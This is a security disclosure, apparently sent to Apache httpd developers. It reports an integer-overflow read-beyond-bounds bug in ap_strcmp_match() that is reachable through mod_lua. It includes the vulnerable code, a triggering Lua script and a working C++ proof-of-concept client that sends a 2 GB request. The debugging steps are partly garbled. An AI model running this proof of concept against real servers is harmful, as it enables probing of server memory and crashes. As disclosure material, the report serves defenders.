Greetings. I have found a read-beyond-bounds attack against httpd that allows an attacker to search httpd’s memory for strings matching an attacker-specified pattern [1]. The attack arises from an overflow in ap_strcmp_match() (server/util.c). [2] The vulnerability can be reached via an LUA program that uses r:strcmp_match() on a long-enough attacker-provided string, and possibly via other means.
Attached is a POC that demonstrates the bug.
The buggy code (from trunk) is the entire function, which uses |int| instead of |apr_size_t| to index a string that can be longer than the maximum positive value of an |int|:
187: AP_DECLARE(int) ap_strcmp_match(const char *str, const char *expected)
188: {
189: int x, y;
190:
191: for (x = 0, y = 0; expected[y]; ++y, ++x) {
192: if (expected[y] == '*') {
193: while (expected[++y] == '*');
194: if (!expected[y])
195: return 0;
196: while (str[x]) {
197: int ret;
198: if ((ret = ap_strcmp_match(&str[x++], &expected[y])) != 1)
199: return ret;
200: }
201: return -1;
202: }
203: else if (!str[x])
204: return -1;
205: else if ((expected[y] != '?') && (str[x] != expected[y]))
206: return 1;
207: }
208: return (str[x] != '\0');
209: }
Thus, the increments of |x| (and also |y|; not demonstrated here) can overflow from 0x7fffffff
(positive) to 0x80000000
et seq (negative), which causes references to |str[x]| to examine memory from 0x80000000
bytes before the beginning of |str| forward. The attached POC demonstrates this issue.
To use the POC:
0x7fffffff
and proceed (this can take a long time, so you might instead try proceeding then quickly breaking execution and checking the value of |x|, iterating until it’s reasonable to set the conditional breakpoint).[1] The attacker cannot retrieve that matching strings, only determine whether they exist.
[2] The same bug also exists in ap_strcasecmp_match().
-------- bug47.7.1.lua ----------------------------------------------------
function handle(r)
local s=r:requestbody()
local m=r.strcmp_match(s, "*secret*")
if m then
r:puts("Found a 'secret'")
end
end
-------- bug47.7.1.lua ----------------------------------------------------
-------- bug_client.cpp ----------------------------------------------------
#define DO_BUG_47_7
#undef UNICODE
#define WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
#pragma warning (disable:6262)
constexpr char SERVER_NAME[] = "127.0.0.1";
void FillBuffer(
const char *pInput,
char *pOutput,
size_t numOutputBytes) {
char *pEnd = pOutput + numOutputBytes;
size_t inlen = strlen(pInput);
while (pOutput < pEnd) {
size_t numBytes = min(inlen, static_cast <size_t> (pEnd - pOutput));
memcpy(pOutput, pInput, numBytes);
pOutput += inlen;
}
}
int ConnectSocket(const addrinfo* pAddrInfo, SOCKET* pSocket) {
int iResult;
*pSocket = socket(pAddrInfo->ai_family, pAddrInfo->ai_socktype, pAddrInfo->ai_protocol);
if (*pSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
return SOCKET_ERROR;
}
iResult = connect(*pSocket, pAddrInfo->ai_addr, static_cast<int>(pAddrInfo->ai_addrlen));
return iResult;
}
int __cdecl main(void)
{
WSADATA wsaData;
int iResult;
SOCKET serverSocket = INVALID_SOCKET;
struct addrinfo* result = NULL;
struct addrinfo hints;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// hints.ai_flags = AI_PASSIVE;
// Resolve the server's address and port
iResult = getaddrinfo(SERVER_NAME, "80", &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
iResult = ConnectSocket(result, &serverSocket);
if (iResult == SOCKET_ERROR) {
if (serverSocket != INVALID_SOCKET) {
closesocket(serverSocket);
}
freeaddrinfo(result);
WSACleanup();
return 1;
}
#ifdef DO_BUG_47_7
char req1[] =
"POST /bug47.7/bug47.7.1.lua HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"Accept: text/html\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 2147483648\r\n"
"Connection: close\r\n\r\n";
const size_t sz = 2147483648ui64 + sizeof(req1) + 2; // for ending \n and 0
char* pReq1 = new char[sz];
memcpy(pReq1, req1, strlen(req1));
memset(&pReq1[strlen(req1)], 'a', sz - strlen(req1));
pReq1[sz - 2] = '\n';
pReq1[sz - 1] = 0;
#endif
WSABUF w;
ULONG firstBatch = static_cast<ULONG>(min(sz,0x40000000));
w.buf = pReq1; w.len = firstBatch;
DWORD bytesSent = 0;
iResult = WSASend(serverSocket, &w, 1, &bytesSent, 0, NULL, NULL);
if (iResult == SOCKET_ERROR) {
closesocket(serverSocket);
freeaddrinfo(result);
WSACleanup();
return 1;
}
Sleep(1000);
if (firstBatch < sz) {
w.buf = pReq1 + firstBatch;
w.len = static_cast<ULONG>(sz - firstBatch);
iResult = WSASend(serverSocket, &w, 1, &bytesSent, 0, NULL, NULL);
if (iResult == SOCKET_ERROR) {
closesocket(serverSocket);
freeaddrinfo(result);
WSACleanup();
return 1;
}
}
// Receive and throw away the response.
char recvBuf[65536];
iResult = recv(serverSocket, recvBuf, sizeof(recvBuf), 0);
closesocket(serverSocket);
// The bug has been triggered. Cleanup and exit.
closesocket(serverSocket);
freeaddrinfo(result);
WSACleanup();
return 0;
}
-------- bug_client.cpp ----------------------------------------------------
The attacker could search ~ 0x80000000
bytes of beyond-bounds heap for the existence of a given string. In mitigation, the target httpd must be running a compatible lua program. Such a program must permit the attacker to upload or otherwise cause httpd to use an lua string that is 0x80000000
bytes long or longer, and must search for a string (that can be binary) that is useful to the attacker. This could occur if the lua program allowed the client (attacker in this case) to specify the string to be searched.